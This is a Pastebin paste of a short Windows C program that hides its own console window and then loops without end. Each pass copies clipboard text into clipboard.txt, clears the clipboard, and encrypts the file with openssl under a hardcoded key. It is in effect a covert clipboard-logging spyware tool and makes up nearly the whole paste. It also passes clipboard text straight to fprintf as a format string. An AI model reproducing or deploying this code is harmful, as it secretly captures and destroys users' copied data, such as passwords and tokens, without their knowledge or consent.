Advertisement
Guest User

Untitled

a guest
Dec 8th, 2016
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.92 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <conio.h>
  3. #include <windows.h>
  4. #include <winuser.h>
  5. #include <string.h>
  6. #include <stdlib.h>
  7.  
  8. void mydeaemon(){
  9.  HWND stealWindow;
  10.  AllocConsole();
  11.  stealWindow = FindWindowA("ConsoleWindowClass",NULL);
  12.  ShowWindow(stealWindow,0);
  13.  
  14.  
  15. }
  16.  
  17. int main(){
  18.  FILE * fin;
  19.  printf("Carrega em qualquer botao para começar\n");
  20.  getch();
  21.  
  22.  char * o="cosas";
  23.  
  24.  mydeaemon();
  25.  
  26.  
  27.  
  28. while(1){
  29.     fin = fopen("clipboard.txt","a");
  30.  
  31.     if(fin == NULL)
  32.         exit(1);
  33.  
  34.     OpenClipboard(NULL);
  35.     HANDLE clip0 = GetClipboardData(CF_TEXT);
  36.     char *p =(char*)GlobalLock(clip0);
  37.     if(p != NULL){
  38.         fprintf(fin,"\n");
  39.         fprintf(fin,p);
  40.         EmptyClipboard();
  41.         p=NULL;
  42.     }
  43.     GlobalUnlock(clip0);
  44.     CloseClipboard();
  45.  
  46.  
  47.     fclose(fin);
  48.     system("openssl enc -e -aes-128-cbc -in clipboard.txt -out cifrado.aes -k 123456789 -iv 0");
  49. }
  50.  
  51.     return (0);
  52.  
  53. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement